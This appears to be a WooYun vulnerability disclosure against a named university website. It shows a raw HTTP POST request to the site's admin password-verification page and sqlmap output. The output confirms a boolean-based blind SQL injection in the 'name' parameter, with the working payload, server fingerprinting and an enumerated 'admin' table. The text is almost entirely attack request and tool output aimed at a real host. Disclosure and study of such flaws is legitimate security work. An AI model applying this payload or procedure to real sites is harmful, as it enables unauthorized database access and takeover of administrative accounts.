WooYun.org

http://mech.upc.edu.cn/

POST /Admin_vertifypass.asp HTTP/1.1
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://mech.upc.edu.cn
Cookie: ASPSESSIONIDSQTTATCC=NJIFBKDCBJHMGFBGKOBMIAHG
Host: mech.upc.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
%b5%c7%c2%bc=&name=-1&newpws=1&pws=1&renewpws=1

sqlmap identified the following injection point(s) with a total of 352 HTTP(s) requests:
---
Parameter: name (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: %b5%c7%c2%bc=&name=-2152' OR 7998=7998 AND 'hsJB'='hsJB&newpws=1&pws=1&renewpws=1
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: %b5%c7%c2%bc=&name=-2152' OR 7998=7998 AND 'hsJB'='hsJB&newpws=1&pws=1&renewpws=1
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[1 table]
+-------+
| admin |
+-------+